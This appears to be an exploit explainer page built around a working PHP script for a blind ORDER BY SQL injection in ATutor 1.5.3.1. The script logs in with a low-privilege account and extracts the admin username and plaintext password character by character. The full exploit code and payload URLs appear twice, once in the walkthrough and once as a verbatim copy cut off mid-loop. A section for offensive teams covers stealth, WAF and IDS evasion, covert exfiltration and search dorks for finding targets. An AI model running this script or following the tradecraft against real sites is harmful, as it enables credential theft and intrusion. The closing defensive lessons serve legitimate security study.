ATutor 1.5.3.1 'links' Blind SQL Injection and Credential Disclosure Exploit Explained

ATutor 1.5.3.1 'links' Blind SQL Injection and Credential Disclosure Exploit Explained
What this paper is
This paper details a vulnerability in ATutor version 1.5.3.1 that allows an attacker to perform a blind SQL injection attack. This injection can be used to extract administrator credentials (username and password) from the at_admins table. The exploit leverages the ORDER BY clause in SQL queries, which is not properly sanitized, to infer data character by character.
Simple technical breakdown
The core of the vulnerability lies in how ATutor handles user-supplied input when constructing SQL queries for the 'links' section. Specifically, the ORDER BY clause is vulnerable. The exploit crafts a special SQL query that is injected into the ORDER BY clause. This query uses MySQL's SUBSTRING and ASCII functions to check individual characters of the administrator's password and username.
The query works by asking a true/false question to the database. For example, "Is the first character of the password 'a' (ASCII 97)?". The result of this question is then used to influence the ordering of the links displayed on the page. By observing how the links are ordered (or if a specific link name/description appears), the attacker can deduce whether their "true" or "false" guess was correct. This process is repeated character by character until the entire username and password are recovered.
The exploit requires a valid, low-privileged user account to log in to ATutor first. This is because the vulnerable links/index.php page is accessed after a user has logged in and potentially browsed to a specific course.
Complete code and payload walkthrough
The provided PHP script is an exploit tool designed to automate the discovery and exploitation of this vulnerability. Let's break down its components.
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Web site engine's code is copyright\" \"2001-2006 ATutor\" \"About ATutor\"\n\n";- Purpose: This initial block prints introductory information about the exploit, its author, and a suggested search query (dork) to find vulnerable instances of ATutor online.
/*
- works regardless of php.ini settings
- with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements)
see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html
- with at least 2 links in at_links table
*/- Purpose: This comment block outlines the prerequisites and conditions for the exploit to work:
- It bypasses certain
php.iniconfigurations. - It requires MySQL version 4.1 or later, which supports subqueries in
ORDER BYclauses. - The
at_linkstable must contain at least two entries for the ordering trick to be observable.
- It bypasses certain
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to ATutor\r\n";
echo "user/pass: you need a valid simple user account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from default (at_)\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /atutor/ username password\r\n";
echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_\r\n";
die;
}- Purpose: This block checks the number of command-line arguments (
$argc). If fewer than 5 arguments are provided, it prints usage instructions and exits, as essential parameters (host, path, user, password) are missing. It also details optional arguments for port, proxy, and table prefix.
/*
software site: http://www.atutor.ca/
vulnerable code in /links/index.php at lines 92-100
...
//get links
$groups = implode(',', $_SESSION['groups']);
if (!empty($groups)) {
$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";
} else {
$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_LESSONS."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";
}
$result = mysql_query($sql, $db);
...
with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:
http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*
http://[target]/[path_to_atutor]/links/index.####/links/index.php?asc=(SELECT(IF((ASCII(SUBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*
query becomes like this:
SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc
so you can ask true/false questions to the database about the admin username/clear text password
you will see results in the way links are ordered at screen
You need at least two rows in at_links table
Other queries may be vulnerable to this kind of injection, since ORDER BY statements
are not checked at all...
This may hide undisclosed vulnerabilities in a lot of apps, I suppose...
*/- Purpose: This extensive comment block explains the vulnerability in detail.
- It points to the vulnerable code in
/links/index.php. - It shows how the
ORDER BY $col $orderpart of the SQL query is constructed. - It provides examples of how to inject a subquery into the
ORDER BYclause to perform blind SQL injection. - It explains the
IF((condition), value_if_true, value_if_false)structure used for conditional logic. - It clarifies that the exploit relies on observing the output (link ordering) to determine the truthfulness of the injected condition.
- It reiterates the requirement of at least two rows in
at_links.
- It points to the vulnerable code in
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);- Purpose: These lines configure PHP error reporting to be suppressed (
error_reporting(0)), set the maximum execution time to unlimited (ini_set("max_execution_time",0)), and set a socket timeout to 5 seconds (ini_set("default_socket_timeout",5)). This ensures the script runs without interruptions and handles network operations gracefully.
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}- Purpose: This function,
quick_dump, is a utility to display a string in a human-readable hexadecimal and ASCII format. It's likely for debugging or displaying raw network responses, though it's not directly used in the main exploit logic for extracting data.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}- Purpose:
$proxy_regex: Defines a regular expression to validate proxy IP:port formats.sendpacketii($packet): This function handles sending HTTP requests.- It can connect directly to the target host and port or go through a specified proxy.
- It uses
fsockopento establish a socket connection. - It sends the
$packetusingfputs. - It reads the response (
$html) from the server. For proxy connections, it waits for the double CRLF sequence that signifies the end of HTTP headers. - It includes basic error handling for connection failures.
- A commented-out debug line (
#echo "\r\n".$html;) suggests it can be used to inspect raw responses.
$host=$argv[1];
$path=$argv[2];
$port=80;
$user=$argv[3];
$pass=$argv[4];
$prefix="at_";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- Purpose: This section parses the command-line arguments.
- It assigns the host, path, username, and password from
$argv. - It initializes default values for port (80), table prefix (
at_), and proxy (""). - It iterates through the remaining arguments to parse optional
-p(port),-P(proxy), and-T(table prefix) flags. - It performs a basic check on the path format.
- It constructs the base path
$pfor constructing requests, either directly or prefixed with proxy details.
- It assigns the host, path, username, and password from
$packet ="GET ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
$temp=explode("password.value + \"",$html);
$temp2=explode("\"",$temp[1]);
$what=$temp2[0];
echo "salt -> ".$what."\r\n";- Purpose: This block initiates the login process.
- It constructs a
GETrequest tologin.phpto obtain session cookies and, crucially, to find the "salt" used in password hashing. - It parses the
Set-Cookieheader from the response to capture the session cookie. - It then searches the HTML response for a specific string (
password.value + ") to extract the salt value ($what). This salt is appended to the user's password before hashing.
- It constructs a
$data ="form_login_action=true";
$data.="&form_course_id=0";
$data.="&form_password_hidden=".sha1($pass.$what);
$data.="&form_login=".$user;
$data.="&form_password=";
$data.="&submit=Login";
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}- Purpose: This block performs the actual login.
- It prepares the POST data for the login form, including the username, the salted and SHA1-hashed password (
sha1($pass.$what)), and other form fields. - It constructs a
POSTrequest tologin.phpusing the previously obtained cookie. - It sends the request using
sendpacketii. - It again parses the
Set-Cookieheader from the response to update the session cookie, which is now authenticated.
- It prepares the POST data for the login form, including the username, the salted and SHA1-hashed password (
$packet ="GET ".$p."bounce.php?course=1 HTTP/1.0\r\n";//it seems you have to browse some page before to go to links panel
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "cookie -> ".$cookie."\r\n";- Purpose: This block navigates to a page (
bounce.php) that seems to be a prerequisite for accessing the links panel.- It sends a
GETrequest tobounce.php?course=1. - It uses the authenticated cookie.
- It again updates the cookie from the response, printing the final authenticated cookie that will be used for the exploit.
- It sends a
$j=1;
$my_password="";
while (!strstr($my_password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("<tr onmousedown=\"document.form['",$html);
$temp2=explode("']",$temp[1]);
$my_check=$temp2[0];
echo "check -> ".$my_check."\r\n";
if ($my_check=="m1") {$my_password.=chr($i);echo "password -> ".$my_password."[???]\r\n";sleep(2);break;}
elseif ($my_check=="m2") {continue;}
elseif ($my_check=="") {die("Exploit failed, maybe wrong table prefix or simply failed to login...");}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}- Purpose: This is the main loop for extracting the administrator's password.
$jtracks the current character position in the password (starting from 1).- The outer
while (!strstr($my_password,chr(0)))loop continues until a null byte (chr(0)) is found, indicating the end of the password string. - The inner
for ($i=0; $i<=255; $i++)loop iterates through all possible ASCII character values (0-255). $sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";: This constructs the blind SQL injection query.SUBSTRING(password,$j,1): Gets the$j-th character of thepasswordcolumn.ASCII(...): Gets the ASCII value of that character.IF(ASCII(...) = $i, LinkName, Description): If the ASCII value matches the current character being tested ($i), it returnsLinkName; otherwise, it returnsDescription.ORDER BY ... DESC LIMIT 2: This is the crucial part. The result of theIFstatement is used in theORDER BYclause. If the condition is true,LinkNamewill be used for ordering; if false,Description. TheLIMIT 2is used to ensure the query returns a predictable number of rows./**/: These are comments that help bypass potential WAFs or parsing issues, effectively concatenating the SQL keywords.
$sql=urlencode($sql);: The constructed SQL query is URL-encoded to be safely passed as a GET parameter.- A
GETrequest is sent tolinks/index.phpwith the encoded SQL query in thedescparameter (?desc=$sql). - The script then parses the HTML response. It looks for a specific string (
<tr onmousedown="document.form[') to determine how the links were ordered. $my_check=$temp2[0];: This extracts a value that indicates the result of the ordering.- If
$my_checkis "m1", it means the injected condition was TRUE, so the current character (chr($i)) is appended to$my_password, and the inner loop breaks to test the next character position. - If
$my_checkis "m2", it means the injected condition was FALSE, so the script continues to the next character value ($i+1). - If
$my_checkis empty, it indicates an exploit failure.
- If
sleep(2);: A short delay is introduced after finding a character, likely to avoid overwhelming the server or to make the output more readable.
$j=1;
$my_admin="";
while (!strstr($my_admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="(SELECT(IF((ASCII(SUBSTRING(login,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("<tr onmousedown=\"document.form['",$html);
$temp2=explode("']",$temp[1]);
$my_check=$temp2[0];
echo "check -> ".$my_check."\r\n";
if ($my_check=="m1") {$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\r\n";sleep(2);break;}
elseif ($my_check=="m2") {continue;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}- Purpose: This block is identical in logic to the password extraction loop, but it targets the
logincolumn of theat_adminstable to extract the administrator's username.
echo "----------------------------------------------------------\n";
echo "admin -> ".$my_admin."\n";
echo "password (clear text) -> ".$my_password."\n";
echo "----------------------------------------------------------\n";
?>- Purpose: Finally, this block prints the discovered administrator username and password in a clear, formatted output.
Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/php -q -d short_open_tag=on: Shebang line, specifies the interpreter and enables short open tags.echo "ATutor <= 1.5.3.1 ...": Banner and information output.if ($argc<5) { ... die; }: Argument validation and usage instructions.error_reporting(0); ini_set(...);: Script execution and network timeout configuration.function quick_dump($string): Utility for hex/ASCII dumping (not directly used for exploit data retrieval).$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';: Proxy format validation regex.function sendpacketii($packet): Core function for sending HTTP requests and receiving responses, handling direct connections and proxies.$host=$argv[1]; ... $prefix="at_"; ...: Argument parsing and variable initialization.$packet ="GET ".$p."login.php HTTP/1.0\r\n"; ... sendpacketii($packet);: Initial request to get session cookies and the password salt.$temp=explode("Set-Cookie: ",$html); ... $cookie.=" ".$temp2[0];: Cookie extraction.$temp=explode("password.value + \"",$html); ... $what=$temp2[0];: Salt extraction.$data ="form_login_action=true"; ... $packet.=$data; sendpacketii($packet);: POST request for user login.$packet ="GET ".$p."bounce.php?course=1 HTTP/1.0\r\n"; ... sendpacketii($packet);: Navigation tobounce.phpto prepare for links access.$j=1; $my_password=""; while (!strstr($my_password,chr(0))) { ... }: Main loop for extracting the administrator password character by character.$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";: The blind SQL injection payload.$sql=urlencode($sql);: URL-encoding the payload.$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n"; ... sendpacketii($packet);: Sending the exploit request.$temp=explode("<tr onmousedown=\"document.form['",$html); ... $my_check=$temp2[0];: Parsing the response to check the result of the SQL injection.if ($my_check=="m1") {$my_password.=chr($i); ... break;}: Logic for when the injected condition is true (character found).elseif ($my_check=="m2") {continue;}: Logic for when the injected condition is false.$j=1; $my_admin=""; while (!strstr($my_admin,chr(0))) { ... }: Main loop for extracting the administrator username character by character.echo "admin -> ".$my_admin."\n"; echo "password -> ".$my_password."\n";: Final output of credentials.
Practical details for offensive operations teams
- Required Access Level: Low-privileged user account with login capabilities to the ATutor instance. No administrative privileges are required initially.
- Lab Preconditions:
- A functional ATutor 1.5.3.1 (or a version with the same vulnerability) instance.
- The target instance must be running MySQL 4.1 or later.
- The
at_linkstable must contain at least two entries. - Network connectivity to the target ATutor instance from the operator's machine.
- The operator's machine must have PHP installed and the script executable.
- Tooling Assumptions:
- The exploit is written in PHP and requires a PHP interpreter.
- Standard networking tools (like
netcatortelnet) might be useful for initial reconnaissance or manual testing of HTTP requests. - A web proxy (like Burp Suite or OWASP ZAP) can be used to manually verify the SQL injection point and understand the response structure, though the script automates this.
- Execution Pitfalls:
- Incorrect Path: The
$pathargument must be precise, including leading and trailing slashes. - Incorrect Credentials: The provided user and password must be valid for logging into ATutor.
- Table Prefix: If ATutor was installed with a custom table prefix, the
-Toption must be used correctly. - Network Issues: Firewalls, unstable connections, or high latency can cause
fsockopento fail or timeouts. - Server Load: The exploit makes many requests. High server load or aggressive rate limiting could lead to failures or detection.
- WAF/IDS: While the
/**/comments offer some basic obfuscation, a sophisticated Web Application Firewall (WAF) or Intrusion Detection System (IDS) might detect the SQL injection patterns. - MySQL Version: The exploit relies on subqueries in
ORDER BY, which are not supported in older MySQL versions. at_linksTable Content: If the table has fewer than two entries, the ordering might not be discernible, leading to failure.- Response Parsing: Changes in the ATutor HTML structure (e.g., the
<tr>tag format) could break the response parsing logic. - Character Set Issues: The exploit assumes standard ASCII characters. Non-standard character sets or encoding might cause issues.
- Incorrect Path: The
- Tradecraft Considerations:
- Stealth: The script is noisy due to its numerous requests and verbose output. Running it from a compromised host within the target network or using a well-configured proxy can improve stealth.
- Timing: The
sleep(2)calls add significant execution time. For faster execution, these can be removed, but it increases the risk of detection and server instability. - Data Exfiltration: The extracted credentials are printed to standard output. For covert operations, this output should be redirected or piped to a more secure exfiltration channel.
- Reconnaissance: Before running the exploit, confirm the ATutor version and presence of the
linksmodule. Use search engines with specific dorks (as provided in the script's banner) to identify potential targets. - Error Handling: The script has basic error handling, but robust error management for production engagements might be needed.
Where this was used and when
- Discovery: The vulnerability was discovered and published by rgod in July 2006.
- Usage Context: This type of vulnerability is typically exploited by penetration testers during authorized security assessments of web applications. It could also be used by malicious actors if they gain initial access to a network and find an unpatched ATutor instance. The exploit's nature (blind SQL injection) suggests it was used in scenarios where direct error messages from the database were not visible to the attacker, requiring inference from application behavior.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. All user-supplied input that is incorporated into SQL queries must be rigorously validated and sanitized to prevent injection attacks. Using parameterized queries (prepared statements) is the most effective defense against SQL injection.
- Secure Coding Practices: Developers must be trained on secure coding practices, specifically regarding database interactions. Understanding the risks of dynamic SQL generation is paramount.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks (like ATutor) updated with the latest security patches is essential. This vulnerability was patched in later versions.
- Web Application Firewalls (WAFs): While not a complete solution, WAFs can help detect and block common SQL injection patterns. However, attackers often find ways to bypass them (as seen with the
/**/comments in the exploit). - Database Security:
- Least Privilege: Ensure database users used by the web application have only the necessary permissions. The
at_adminstable should not be accessible forSELECToperations by a low-privileged user if it's not required. - Error Handling: Configure database error reporting to be verbose only in development environments. Production environments should log errors internally but not expose them to end-users.
- Least Privilege: Ensure database users used by the web application have only the necessary permissions. The
- Dependency Management: Be aware of the versions of libraries and frameworks used by your web applications and ensure they are up-to-date and free from known vulnerabilities.
- Auditing and Monitoring: Implement database and web server logging to detect suspicious activity, such as repeated failed login attempts or unusual query patterns.
ASCII visual (if applicable)
This exploit primarily involves sequential HTTP requests and responses. A flow diagram illustrating the process would be most appropriate.
+-----------------+ +-----------------+ +-----------------+
| Attacker's | ----> | Target ATutor | ----> | Database (MySQL)|
| PHP Exploit | | (vulnerable) | | |
| Script | | | | |
+-----------------+ +-----------------+ +-----------------+
| ^
| 1. Login Request | 5. Response (Link Order)
| (with credentials) |
v |
+-----------------+ +-----------------+
| ATutor Login | ----> | ATutor Session |
| Handler | | Management |
+-----------------+ +-----------------+
| ^
| 2. Auth Cookie | 4. SQL Injection Query
| | (via links/index.php)
v |
+-----------------+ +-----------------+
| ATutor Links | ----> | ATutor Links |
| Module | | Module Logic |
+-----------------+ +-----------------+
^ |
| 3. Navigate to Links | 6. Construct SQL Query
| (bounce.php) | with ORDER BY injection
+-------------------------+Explanation of the diagram:
- The exploit script sends login credentials to the ATutor login handler.
- Upon successful login, ATutor sets authentication cookies.
- The script navigates to a specific page (
bounce.php) to ensure the session is ready for accessing the links module. - The core of the exploit: The script sends requests to
links/index.phpwith a crafted SQL query injected into theORDER BYclause. This query is designed to ask true/false questions about the admin credentials. - ATutor's
links/index.phpprocesses the query, and the database executes the injected SQL. The result of theIFcondition in the SQL query influences the order of the links displayed. - The script parses the HTML response to determine if the injected condition was true or false, thereby inferring one character of the admin's username or password. This process repeats for each character.
Source references
- Paper URL: https://www.exploit-db.com/papers/2088
- Raw Exploit Code: https://www.exploit-db.com/raw/2088
- ATutor Software Site: http://www.atutor.ca/
- MySQL Subqueries in ORDER BY: http://dev.mysql.com/doc/refman/5.0/en/subqueries.html
Original Exploit-DB Content (Verbatim)
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "ATutor <= 1.5.3.1 'links' blind SQL injection / admin credentials disclosure\n";
echo "by rgod rgod@autistici.org\n";
echo "site: http://retrogod.altervista.org\n";
echo "dork, version specific: \"Web site engine's code is copyright\" \"2001-2006 ATutor\" \"About ATutor\"\n\n";
/*
- works regardless of php.ini settings
- with Mysql >= 4.1 (allowing SELECT subqueries for ORDER BY statements)
see http://dev.mysql.com/doc/refman/5.0/en/subqueries.html
- with at least 2 links in at_links table
*/
if ($argc<5) {
echo "Usage: php ".$argv[0]." host path user pass OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to ATutor\r\n";
echo "user/pass: you need a valid simple user account\r\n";
echo "Options:\r\n";
echo " -T[prefix] specify a table prefix different from default (at_)\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /atutor/ username password\r\n";
echo "php ".$argv[0]." localhost /atutor/ username password -Tatutor_\r\n";
die;
}
/*
software site: http://www.atutor.ca/
vulnerable code in /links/index.php at lines 92-100
...
//get links
$groups = implode(',', $_SESSION['groups']);
if (!empty($groups)) {
$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE ((owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") OR (owner_id IN ($groups) AND owner_type=".LINK_CAT_GROUP.")) AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";
} else {
$sql = "SELECT * FROM ".TABLE_PREFIX."links L INNER JOIN ".TABLE_PREFIX."links_categories C USING (cat_id) WHERE (owner_id=$_SESSION[course_id] AND owner_type=".LINK_CAT_COURSE.") AND L.Approved=1 AND $search AND $cat_sql ORDER BY $col $order";
}
$result = mysql_query($sql, $db);
...
with MySQL >= 4.1 you can inject a subquery after the ORDER BY statement, ex:
http://[target]/[path_to_atutor]/links/index.php?desc=(SELECT(IF((ASCII(SUBSTRING(password,1,1))=101),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*
http://[target]/[path_to_atutor]/links/index.php?asc=(SELECT(IF((ASCII(SUBSTRING(login,1,1))=102),LinkName,Description))FROM%20at_admins)%20DESC%20LIMIT%202/*
query becomes like this:
SELECT * FROM AT_links L INNER JOIN AT_links_categories C USING (cat_id) WHERE (owner_id=1 AND owner_type=1) AND L.Approved=1 AND 1 AND 1 ORDER BY (SELECT(IF((ASCII(SUBSTRING(login,1,1))=101),LinkName,Description))FROM at_admins) DESC LIMIT 2/* desc
so you can ask true/false questions to the database about the admin username/clear text password
you will see results in the way links are ordered at screen
You need at least two rows in at_links table
Other queries may be vulnerable to this kind of injection, since ORDER BY statements
are not checked at all...
This may hide undisclosed vulnerabilities in a lot of apps, I suppose...
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$user=$argv[3];
$pass=$argv[4];
$prefix="at_";
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$packet ="GET ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
$temp=explode("password.value + \"",$html);
$temp2=explode("\"",$temp[1]);
$what=$temp2[0];
echo "salt -> ".$what."\r\n";
$data ="form_login_action=true";
$data.="&form_course_id=0";
$data.="&form_password_hidden=".sha1($pass.$what);
$data.="&form_login=".$user;
$data.="&form_password=";
$data.="&submit=Login";
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
$packet ="GET ".$p."bounce.php?course=1 HTTP/1.0\r\n";//it seems you have to browse some page before to go to links panel
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "cookie -> ".$cookie."\r\n";
$j=1;
$my_password="";
while (!strstr($my_password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="(SELECT(IF((ASCII(SUBSTRING(password,$j,1))=".$i."),LinkName,Description))FROM/**/".$prefix."admins)/**/DESC/**/LIMIT/**/2/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."links/index.php?desc=$sql HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("<tr onmousedown=\"document.form['",$html);
$temp2=explode("']",$temp[1]);
$my_check=$temp2[0];
echo "check -> ".$my_check."\r\n";
